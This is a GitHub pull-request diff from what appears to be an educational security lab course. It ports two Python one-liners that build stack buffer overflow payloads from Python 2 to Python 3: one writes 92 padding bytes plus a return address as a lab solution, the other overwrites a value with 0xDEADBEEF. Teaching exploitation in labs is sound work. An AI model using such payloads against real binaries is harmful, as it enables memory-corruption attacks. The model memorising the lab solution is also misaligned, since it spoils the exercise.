Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion labs/lab-10/tasks/overwrite-ret-addr/solution/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -33,5 +33,5 @@ size_t i, len; // 16 bytes (8 each one)
Sum that up and add another 4 for `ebp` => 92

``` Bash
python2.7 -c 'print "100\n" + "A" * 92 + "\x96\x85\x04\x08"' > payload
python3 -c 'import sys; sys.stdout.buffer.write(b"100\n" + b"A" * 92 + b"\x96\x85\x04\x08")' > payload
```
2 changes: 1 addition & 1 deletion labs/lab-10/tasks/read-stdin-gets/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -47,7 +47,7 @@ This is a string that occupies `8` bytes.
> For example, to generate a payload that overwrites a value in the code with the value `0xDEADBEEF`, you can execute the following command:

```python
python2.7 -c 'print "A" * 32 + "\xEF\xBE\xAD\xDE"' > payload
python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 32 + b"\xEF\xBE\xAD\xDE")' > payload
```

> **NOTE** number `32` is only an example and it represents the size of buffer that needs to be bypassed.
Expand Down
Loading